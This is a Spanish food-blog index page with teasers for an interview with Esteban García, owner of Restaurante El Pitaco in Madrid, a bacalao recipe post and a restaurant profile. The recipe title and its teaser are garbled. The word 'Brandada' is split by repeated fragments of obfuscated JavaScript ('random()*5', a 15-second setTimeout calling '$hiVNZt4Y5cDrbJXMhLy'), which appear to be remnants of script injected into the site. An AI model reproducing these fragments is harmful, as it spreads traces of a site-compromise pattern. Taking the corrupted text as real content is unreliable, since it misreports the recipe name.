Los periodistas eligen restaurante

Un buen restaurante no lo hacen los personajes conocidos y famosos que lo visitan, hay muchísimo trabajo detrás, no solo en cocina, que es lo que realmente lo hace posible. Pero eso no quita que los famosos quieran conocerlos y disfrutar de ellos. En el mundo de las modas y tendencias suele haber un denominador común: la […]

Esteban García: Nosotros proponemos San Valentín todos los días

Hoy hemos comido con Esteban García en su Restaurante El Pitaco de Madrid. Y, como siempre, hemos hablado de Gastronomía, vinos y temporada. Esteban, tu eres un profesional que tiene muy en cuenta el calendario en tu cocina. ¿Qué tienes pensado para San Valentín? Nosotros proponemos San Valentín todos los días. Es cierto que ahora […]

Crónica de una receta: Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andada de bacalao

Esto podría ser la crónica de una receta: Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andada de bacalao. He tenido el placer de degustarlo en uno de mis rincones favoritos de Madrid, en el Restaurante el Pitaco. Mi buen amigo Esteban, propietario del local, llevaba tiempo queriendo […]

Restaurante El Pitaco

Dirigido por su propietario, Esteban García Martín. Desde hace unos meses se ha convertido en un referente de los negocios en Madrid, un lugar para sentarse a comer y hablar de trabajo de manera cómoda y distendida. Además de encontrarnos con una cocina tradicional y vanguardista a la vez, podemos apreciar una cocina casera, donde […]